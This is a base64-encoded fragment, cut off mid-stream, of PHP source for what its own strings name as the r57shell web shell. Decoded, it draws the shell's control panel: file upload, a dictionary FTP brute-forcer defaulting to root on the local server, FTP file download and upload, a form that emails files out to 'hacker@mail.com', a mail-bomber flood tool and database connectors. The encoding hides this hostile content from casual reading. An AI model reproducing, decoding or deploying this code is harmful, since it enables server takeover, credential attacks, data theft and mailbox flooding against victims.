G8gIjx0cj48dGQgdmFsaWduPXRvcCB3aWR0aD03MCU+Ii4kdHM7CmVjaG8gc3IoMjAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLCRmcy5pbigndGV4dCcsJ3Rlc3QxN19maWxlJyw2MCwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNiddKS4kZmUpOwplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0zMCU+Ii4kdHM7CmVjaG8gc3IoMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkuJGZlKTsKZWNobyAkdGUuIjwvdGQ+PC90cj4iOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMTsgIAp9CgoKaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8IEBpbmlfZ2V0KCdmaWxlX3VwbG9hZHMnKSl7CmVjaG8gIjxmb3JtIG5hbWU9dXBsb2FkIG1ldGhvZD1QT1NUIEVOQ1RZUEU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT4iOwplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1J10sJ2lkMzAnKS4kdGFibGVfdXAyLmRpdignaWQzMCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTAnLDg1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCduZjEgaWQ9bmYxJywwLCcxJykuaW4oJ3RleHQnLCduZXdfbmFtZScsODIsJycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKCmlmKCghQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB8fCBAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpewplY2hvICI8Zm9ybSBuYW1lPXVwbG9hZCBtZXRob2Q9UE9TVCBFTkNUWVBFPW11bHRpcGFydC9mb3JtLWRhdGE+IjsKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgnTXVsdHkgJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NSddLCdpZDM0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzQnKS4kdHM7CmVjaG8gIjx0cj48dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxJywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMicsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTMnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU0JywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlNScsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTYnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU3JywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlOCcsMzUsJycpKTsKZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlOScsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTEwJywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTEnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxMicsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTEzJywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTQnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxNScsMzUsJycpKTsKZWNobyBzcigxNSwnJyxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOwplY2hvICR0ZS4iPC90ZD48L3RyPiI7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKCmlmKCRzZWxlY3RfZG93bmxvYWRlcnMpewogZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE1J10sJ2lkMzEnKS4kdGFibGVfdXAyLmRpdignaWQzMScpLiR0czsKIGVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+Iiwkc2VsZWN0X2Rvd25sb2FkZXJzLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3JlbV9maWxlJyw3OCwnaHR0cDovLycpKTsKIGVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJywxMDUsJGRpci4nL2Rvd25sb2FkLmZpbGUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsKIGVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10sJ2lkMzInKS4kdGFibGVfdXAyLmRpdignaWQzMicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZF9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkb3dubG9hZF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNCddKSk7CiRhcmggPSAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTInXTsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzsgICB9CmlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpICAgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdnemlwJykuJyBnemlwJzsgfQppZihAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnYnppcCcpLicgYnppcCc7IH0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKCmlmKEBmdW5jdGlvbl9leGlzdHMoImZ0cF9jb25uZWN0IikpewplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MyddLCdpZDMzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMzMnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOwoKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0JywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2JydXRlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3JhZGlvJywnYnJ1dGVfbWV0aG9kJywwLCdwYXNzd2QnLDEpLiI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OSddLiIgKCA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnMnPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIjwvYT4gKTwvZm9udD4iKTsKZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnLDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3JhZGlvJywnYnJ1dGVfbWV0aG9kJywwLCdkaWMnLDApLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzUnXSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2xvZ2luJ10pPygkX1BPU1RbJ2Z0cF9sb2dpbiddKTooInJvb3QiKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnknLDAsKCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnknXSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRpci4ncGFzc3cuZGljJykpKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg3J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0JywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV9kb3duJykpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMjAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uIHZhbHVlPUZUUF9CSU5BUlk+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9RlRQX0FTQ0lJPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3Bhc3N3b3JkJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pPygkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDIwLCRkaXIpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1NUWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9maWxlX3VwJykpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uIHZhbHVlPUZUUF9CSU5BUlk+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9RlRQX0FTQ0lJPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KCgppZihAZnVuY3Rpb25fZXhpc3RzKCJtYWlsIikpewplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDInXSwnaWQzNScpLiR0YWJsZV91cDIuZGl2KCdpZDM1JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMyddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsMzAsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImhlbGxvIGJpbGx5IikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0yMiByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTUnXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDQnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8nLDMwLCghZW1wdHkoJF9QT1NUWyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNvbSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWFpbF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsMzAsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImZpbGUgZnJvbSByNTdzaGVsbCIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMzAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MSddLiRhcnJvdy4iPC9iPiIsaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ25vbmUnLDEpLicgJy4kYXJoKTsKZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOSddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2JvbWJlcicpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsMzAsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDMwLCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJoZWxsbyBiaWxseSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDgnXS4kYXJyb3cuIjwvYj4iLCc8dGV4dGFyZWEgbmFtZT10ZXh0IGNvbHM9MjIgcm93cz0xPicuKCFlbXB0eSgkX1BPU1RbJ3RleHQnXSk/KCRfUE9TVFsndGV4dCddKTooImZsb29kIHRleHQgaGVyZSIpKS4nPC90ZXh0YXJlYT4nKTsKZWNobyBzcigyNSwiPGI+Rmxvb2QiLiRhcnJvdy4iPC9iPiIsaW4oJ2ludCcsJ21haWxfZmxvb2QnLDUsKCFlbXB0eSgkX1BPU1RbJ21haWxfZmxvb2QnXSk/KCRfUE9TVFsnbWFpbF9mbG9vZCddKToxMDApKS53cyg0KS4iPGI+U2l6ZShrYikiLiRhcnJvdy4iPC9iPiIuaW4oJ2ludCcsJ21haWxfc2l6ZScsNSwoIWVtcHR5KCRfUE9TVFsnbWFpbF9zaXplJ10pPygkX1BPU1RbJ21haWxfc2l6ZSddKToxMCkpKTsKZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KCgppZigkbXlzcWxfb258fCRtc3NxbF9vbnx8JHBnX29ufHwkb3JhX29ufHwkbXlzcWxpX29ufHwkbXNxbF9vbnx8JHNxbGl0ZV9vbikKewokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOwppZigkbXlzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9TXlTUUw+TXlTUUw8L29wdGlvbj4nOwppZigkbXNzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9TVNTUUw+TVNTUUw8L29wdGlvbj4nOwppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9UG9zdGdyZVNRTD5Qb3N0Z3JlU1FMPC9vcHRpb24+JzsKaWYoJG9yYV9vbikgICAkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPU9yYWNsZT5PcmFjbGU8L29wdGlvbj4nOwppZigkbXlzcWxpX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9TXlTUUxpPk15U1FMaTwvb3B0aW9uPic7CmlmKCRtc3FsX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9bVNRTD5tU1FMPC9vcHRpb24+JzsKaWYoJHNxbGl0ZV9vbikgICAkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPVNRTGl0ZT5TUUxpdGU8L29wdGlvbj4nOwokc2VsZWN0IC49ICc8L3NlbGVjdD4nOwoKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODInXSwnaWQzNicpLiR0YWJsZV91cDIuZGl